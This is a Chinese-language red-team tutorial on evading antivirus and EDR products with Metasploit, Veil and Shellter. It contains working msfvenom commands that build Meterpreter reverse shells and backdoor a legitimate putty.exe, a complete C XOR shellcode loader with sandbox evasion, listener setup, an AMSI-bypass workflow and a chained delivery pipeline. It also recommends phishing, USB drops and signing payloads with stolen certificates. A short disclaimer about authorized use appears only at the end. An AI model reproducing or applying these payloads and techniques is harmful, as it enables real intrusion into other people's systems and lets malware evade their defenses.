
1. 项目概述什么是“AV避免”及其在渗透测试中的核心地位在渗透测试的红队行动中一个永恒且棘手的挑战就是如何让我们的“敲门砖”——也就是载荷Payload——能够顺利穿过目标系统的大门而不被门口的“保安”即反病毒软件Antivirus, AV和终端检测与响应EDR系统所拦截。这个“敲门砖”通常就是我们利用Metasploit这类框架生成的恶意代码。如果它一落地就被查杀那么后续的所有攻击步骤无论是提权、横向移动还是数据窃取都无从谈起。因此“AV避免”技术或者说“免杀”Antivirus Evasion是渗透测试从理论走向实战的关键一步直接决定了行动的成败。我常把AV避免比作一场精妙的魔术表演。反病毒软件就像台下的观众它们基于已知的“魔术套路”病毒特征库和“可疑动作”行为启发式分析来试图揭穿你。而我们的目标就是设计一套全新的、让观众完全看不出破绽的表演。Metasploit AV避免工具就是一套帮助我们设计和排练这套新魔术的工具箱。它不仅仅是简单地给代码“加个壳”或“改个签名”而是一个涉及代码混淆、行为伪装、加载器设计等多层面的系统工程。掌握它意味着你能够将标准化的攻击载荷定制化地转化为针对特定环境、难以被察觉的“特洛伊木马”从而极大地提升渗透测试的隐蔽性和成功率。2. 核心原理深度拆解反病毒软件如何工作我们又如何绕过要有效避免检测我们必须先了解“保安”的巡逻机制。现代反病毒/EDR系统通常采用多层防御策略我们的规避技术也需要层层应对。2.1 特征码扫描与静态规避这是最传统的一层。AV厂商将已知恶意软件的二进制代码中提取出独一无二的片段即特征码形成一个庞大的数据库。当文件被扫描时AV会将其与数据库比对。我们的规避策略代码混淆与变形这是最基础也是最有效的方法之一。工具会对原始载荷的汇编指令进行等价替换、插入无效指令NOP指令或花指令、调整指令顺序、修改寄存器使用方式等。这就像把一句“去攻击系统”的话改写成“请执行以下操作首先向左走三步然后跳一下最后完成系统交互任务”意思没变但“指纹”完全改变了。加密与编码将载荷的核心部分Shellcode进行加密或编码仅保留一个极小的、用于解密/解码的存根Stub。这个存根本身通常无害或特征不明显只有在运行时才会在内存中还原出原始载荷。这相当于把武器拆解成零件分别运送到了目的地再组装。加壳与打包使用商业或自定义的加壳工具如UPX但需注意很多AV已能识别标准壳对整个可执行文件进行压缩和封装改变其二进制结构。更高级的“保护壳”还会集成反调试、虚拟机检测等功能。注意单纯的加壳在今天已经远远不够。很多AV会进行“脱壳”分析或直接标记常见壳的特征。因此加壳往往需要配合自定义修改或多层加密使用。2.2 启发式分析与行为监控当静态特征无法匹配时AV会转入更智能的分析。它会在一个沙箱或虚拟环境中模拟运行文件或者监控其真实运行时的行为寻找恶意模式如修改系统关键文件、连接可疑网络地址、注入代码到其他进程等。我们的规避策略延迟执行与条件触发让恶意行为不立即发生。例如载荷运行后先睡眠随机时间或等待特定的用户操作如点击某个按钮、系统事件如特定进程启动后再激活。这可以绕过沙箱的短时间模拟。进程注入与模块化不直接在自身进程中执行敏感操作。经典的“进程空洞”Process Hollowing或“DLL劫持”技术可以将代码注入到如svchost.exe,explorer.exe等可信的白名单进程中执行。这样恶意行为从“一个可疑程序”变成了“一个可信程序做了可疑事”增加了检测难度。API调用混淆与直接系统调用高级EDR会监控对敏感API如VirtualAllocEx,CreateRemoteThread用于进程注入的调用。我们可以通过动态获取API地址使用GetProcAddress、手动组装系统调用Syscall来绕过基于用户态Hook的监控。沙箱与虚拟机检测在代码开头加入检测逻辑检查当前是否运行在沙箱或分析环境中如检查内存大小、CPU核心数、运行时间、特定进程或文件是否存在、硬件ID等。如果检测到环境可疑则执行无害的退出流程或良性操作。2.3. AMSI与脚本解释器防护对于基于脚本的攻击如PowerShell, VBScript, JavaScriptWindows提供了反恶意软件扫描接口AMSI。它允许AV在脚本被解释执行前就检查其内容。我们的规避策略字符串拆分与编码将敏感的PowerShell命令或.NET代码拆分成多个部分在运行时拼接。或者使用Base64、XOR、AES等多种方式编码运行时再解码。反射加载与内存执行不将脚本或.NET程序集写入磁盘。通过PowerShell的Invoke-ReflectivePEInjection或C#的Assembly.Load()直接从内存中加载并执行加密的二进制载荷完全避开基于文件的扫描和AMSI对明文字符串的检查。AMSI绕过直接修补或禁用AMSI。例如通过修改AMSI上下文结构体或调用AmsiScanBuffer并强制其返回“干净”的结果。但这需要较高的权限且手法更新频繁。3. 实操利器Metasploit中的AV避免模块与工具链Metasploit Framework本身及其生态提供了丰富的工具来辅助我们实现上述策略。它们不是一键“无敌”的按钮而是需要根据目标环境精心调校的武器部件。3.1msfvenom的编码与模板msfvenom是生成载荷的核心工具其内置的规避功能是我们的第一道防线。编码器使用-e参数指定编码器如x86/shikata_ga_nai一种多态异或编码每次编码输出都不同、x86/alpha_mixed纯字母数字编码用于绕过某些字符过滤器。编码可以多次迭代-i。msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_payload.exe实操心得shikata_ga_nai编码虽然经典但很多AV已能识别其解码存根Stub的模式。迭代编码-i有时能提高绕过率但并非次数越多越好可能会增加熵值引起启发式报警。最好结合其他方法。模板使用-x参数指定一个合法的可执行文件作为模板如putty.exe将载荷注入其中。这利用了“白名单”信任。msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -x /path/to/putty.exe -f exe -o backdoored_putty.exe注意事项模板文件的选择至关重要。应选择目标系统上极可能存在的、版本匹配的、且签名有效的官方软件。注入后需检查文件数字签名是否被破坏通常会被破坏这本身就是一个可疑指标。可以尝试使用“线程劫持”等更隐蔽的注入方式而不是直接修改代码段。3.2Veil-Evasion与Shellter虽然严格来说它们独立于Metasploit但常与MSF协同工作是红队武器库的重要组成部分。Veil-Evasion一个用Python编写的框架能生成多种绕过AV的载荷。它的强大之处在于提供了多种“载荷类型”和“方法”。载荷类型不仅仅是原生的exe还能生成基于Python、C#、PowerShell、VBA宏等的载荷。方法例如对于C#载荷它可以选择使用AES加密、Base64编码并自动集成反沙箱检查和AMSI绕过的代码。它会将加密的Shellcode和Stub代码一起编译成一个全新的、看似无害的.NET可执行文件。使用流程运行veil-evasion选择载荷如csharp/meterpreter/rev_tcp设置LHOST/LPORT选择加密方法然后生成。生成的.exe文件可以直接使用也可以再用msfvenom的编码器进行二次处理。Shellter一个动态的PE注入工具主要用于将Shellcode注入到本地合法的32位便携式可执行文件中。它的特点是“动态”意味着它在注入时会动态分析所选模板寻找最佳的注入点以最大限度地保持原文件功能的完整性。优势对原文件破坏小兼容性相对较好。适合用于那些需要被注入程序保持正常功能如一个被植入后门的计算器程序仍需能计算的场景。局限主要针对32位PE文件。对于64位程序或非PE文件如脚本无能为力。3.3 自定义加载器Loader开发这是AV避免的“终极手段”也是区分脚本小子和资深红队成员的关键。当公开工具生成的载荷被广泛收录后其有效性会迅速下降。此时需要自己编写加载器。一个基础的C/C加载器核心思路定义加密的Shellcode将msfvenom生成的原始Shellcode-f c格式用自定义的简单算法如XOR加密以字符串形式硬编码在加载器源码中。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f c编写加载器代码#include windows.h #include stdio.h // 1. 定义加密的shellcode数组此处为示例实际需替换 unsigned char encrypted_shellcode[] {0x12, 0x34, 0x56, ...}; const char key 0xAB; // 简单的XOR密钥 int main() { // 2. 可选简单的沙箱检测检查磁盘大小、睡眠绕过 DWORD dwSize GetDiskFreeSpaceEx(NULL, NULL, NULL, NULL); if (dwSize 80*1024*1024*1024) { // 假设沙箱磁盘可能很小或很大 // 可能是真实环境继续 } else { return 0; // 可能是沙箱退出 } Sleep(30000); // 睡眠30秒绕过快速沙箱模拟 // 3. 解密shellcode SIZE_T shellcode_size sizeof(encrypted_shellcode); unsigned char* shellcode (unsigned char*)malloc(shellcode_size); for (SIZE_T i 0; i shellcode_size; i) { shellcode[i] encrypted_shellcode[i] ^ key; } // 4. 分配可执行内存 void* exec_mem VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (exec_mem NULL) { free(shellcode); return -1; } // 5. 复制shellcode到可执行内存 memcpy(exec_mem, shellcode, shellcode_size); // 6. 执行shellcode ( (void(*)())exec_mem )(); // 7. 清理通常不会执行到这里 free(shellcode); VirtualFree(exec_mem, 0, MEM_RELEASE); return 0; }编译与优化使用Visual Studio或MinGW进行编译。编译时可以选择Release模式、关闭调试信息、调整链接器选项如/SUBSYSTEM:WINDOWS让程序无控制台窗口以减小体积和去除特征。签名可选但强力如果能获取到有效的代码签名证书无论是窃取、泄露还是购买对编译好的加载器进行数字签名能极大提升其可信度绕过很多基于签名的白名单策略。实操心得自定义加载器的关键在于“变”。定期更换加密算法、密钥、代码结构、API调用方式例如使用GetProcAddress动态获取VirtualAlloc地址、添加不同的反沙箱检查点。甚至可以编写一个“加载器生成器”每次行动前生成一个独一无二的二进制文件。4. 完整实战流程从载荷生成到免杀上线让我们串联起所有环节进行一次模拟实战。假设目标是一个启用了Windows Defender的Windows 10系统。4.1 环境准备与监听设置首先在攻击机Kali Linux上启动Metasploit设置一个监听器。这里我们选择reverse_https因为其流量通常比reverse_tcp更不容易被网络层设备发现。msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_https set LHOST 192.168.1.100 set LPORT 443 set ExitOnSession false exploit -j -z4.2 生成免杀载荷我们不依赖单一方法而是采用组合拳。步骤一使用Veil生成基础.NET载荷veil-evasion use csharp/meterpreter/rev_https set LHOST 192.168.1.100 set LPORT 443 set USE_AMSIBYPASS true # 启用AMSI绕过 set USE_SANDBOX true # 启用沙箱检查 generate [为载荷命名如initial_payload]Veil会生成一个加密的C#项目并编译成initial_payload.exe。步骤二使用自定义加载器进行二次包装从initial_payload.exe中提取出Shellcode。可以使用msfvenom的-p参数配合-f raw格式但更常见的是写一个小工具来提取Veil载荷中的加密负载部分或者直接使用Veil生成的、未经编译的C#源码中的Shellcode数组。将提取的Shellcode用新的XOR密钥加密放入我们上一节编写的自定义加载器源码中。使用Visual Studio 2022以Release模式、x64架构进行编译生成final_loader.exe。步骤三可选-使用msfvenom进行最终编码和加壳虽然我们的加载器已经是自定义的但可以再增加一层混淆。msfvenom -p generic/custom PAYLOADFILE./final_loader.exe -e x64/xor_dynamic -i 3 -f exe -x /path/to/legit_installer.exe -o delivery_package.exe这里我们使用了generic/custom来包装我们已有的可执行文件并用xor_dynamic编码器处理最后注入到一个合法的安装程序模板中。4.3 投递与执行生成的delivery_package.exe就是我们最终的武器。投递方式取决于社会工程学或初始访问手段鱼叉式钓鱼邮件将文件作为附件配合精心设计的邮件正文诱使目标点击。水坑攻击将其放置在目标可能访问的受控网站上。USB丢弃如果物理接触可行。一旦目标执行我们的多层防御规避技术将依次启动安装程序模板白名单文件首先运行降低初始怀疑。编码层被解码释放出我们的自定义加载器final_loader.exe在内存或临时目录。自定义加载器执行进行沙箱检测如睡眠、硬件检查通过后解密Veil生成的Shellcode。Veil载荷在内存中被加载器执行其内置的AMSI绕过模块开始工作确保后续的.NET反射加载不被拦截。最终加密的Meterpreter Shellcode被解密并注入到一个新进程或可信进程中建立与攻击机的HTTPS回连。Metasploit监听器接收到会话我们获得了一个隐蔽的Meterpreter Shell。5. 常见问题排查与高级技巧实录即使遵循了所有步骤实战中依然会踩坑。以下是一些常见问题及我的排查经验。5.1 载荷被检测的快速排查清单当生成的载荷在测试机如安装了最新Defender的Windows虚拟机上被秒杀时按以下顺序排查问题现象可能原因排查与解决思路刚落地/复制时就被删除静态特征码被匹配。可能是使用的编码器、模板或Veil的特定载荷已被广泛收录。1.换编码器尝试x86/zutto_dekiru或x86/call4_dword_xor等较少见的编码器。2.换模板使用一个完全不相关的、新版本的合法软件作为模板。3.换生成工具/方法放弃Veil直接进入自定义加载器阶段或尝试其他框架如CACTUSTORCH、Donut将PE文件转换成位置无关的Shellcode。运行时被拦截行为启发式或内存扫描触发。加载器行为如分配RWX内存、进程注入太明显。1.优化加载器行为分配内存时先申请PAGE_READWRITE写入Shellcode后再改为PAGE_EXECUTE_READVirtualProtect。2.更换注入技术尝试“傀儡进程”Process Hollowing或“模块不落地”DLL反射加载等更隐蔽的技术。3.使用系统调用Syscall绕过用户态的EDR Hook直接通过系统调用号触发底层功能这需要更深入的Windows内核知识。PowerShell载荷无法执行AMSI拦截。即使Veil启用了绕过也可能因为脚本块日志记录或约束语言模式失败。1.手动混淆将PowerShell命令拆分成多个变量拼接并使用Base64编码执行。2.降级攻击尝试强制使用PowerShell 2.0powershell -version 2该版本不支持AMSI。3.完全无文件使用Invoke-CradleCrafter等技术从远程位置分阶段加载载荷不在本地留下完整脚本。会话建立后很快断开网络流量或终端行为异常被EDR发现。Meterpreter的默认通信模式和后期行为如migrate可能有特征。1.使用更隐蔽的传输器reverse_https或bind_tcpover SSL。2.配置Meterpreter扩展使用stdapi和priv扩展时避免在初期进行大量敏感操作如抓取密码哈希。3.迁移进程选择迁移到lsass.exe这类关键进程风险极高应选择如winlogon.exe,spoolsv.exe等相对稳定且常见的进程。5.2 高级规避技巧与未来趋势绕过用户态钩子User-mode Hooking许多EDR通过在ntdll.dll等关键DLL的函数开头插入跳转指令钩子来监控API调用。可以通过直接解析进程内存中的DLL找到函数的系统调用号SSN然后使用汇编指令syscall直接进入内核完全绕过这些钩子。这需要为每个Windows版本维护一份系统调用表。利用合法签名与LOLBAS与其自己签名不如“借船出海”。利用操作系统自带的、有合法签名的工具Living Off the Land Binaries and Scripts, LOLBAS来执行恶意操作。例如使用msbuild.exe编译执行内嵌C#代码的XML文件使用regsvr32.exe执行远程的SCRIBLET文件或者使用certutil.exe来解码传输加密的载荷。这些工具的行为在正常管理中也很常见难以被完全禁止。人工智能与对抗性机器学习这是攻防的前沿。防御方开始使用ML模型来检测恶意软件。攻击方则开始研究生成对抗性样本Adversarial Examples即对恶意软件进行微小的、人眼难以察觉的扰动使得ML模型将其误判为良性文件。这目前更多是学术研究但未来可能会集成到工具中。我个人在实际操作中最深刻的体会是AV避免没有一劳永逸的“银弹”。它是一个持续对抗、动态调整的过程。公开的工具和技术一旦流行其生命周期就会迅速缩短。因此核心能力不在于熟练使用某个工具而在于深刻理解其背后的原理Windows API、PE结构、内存管理、进程交互并具备根据实际情况进行定制化开发和变种的能力。最好的免杀载荷往往是那些只为你当前这次行动而生的、独一无二的作品。保持学习理解底层手动测试永远不要完全依赖自动化工具的输出。在测试时务必在尽可能接近真实目标的环境相同的Windows版本、相同的安全产品中进行虚拟机快照是你的好朋友可以快速回滚进行迭代测试。最后永远遵守法律和道德规范仅在授权的渗透测试或安全研究环境中使用这些技术。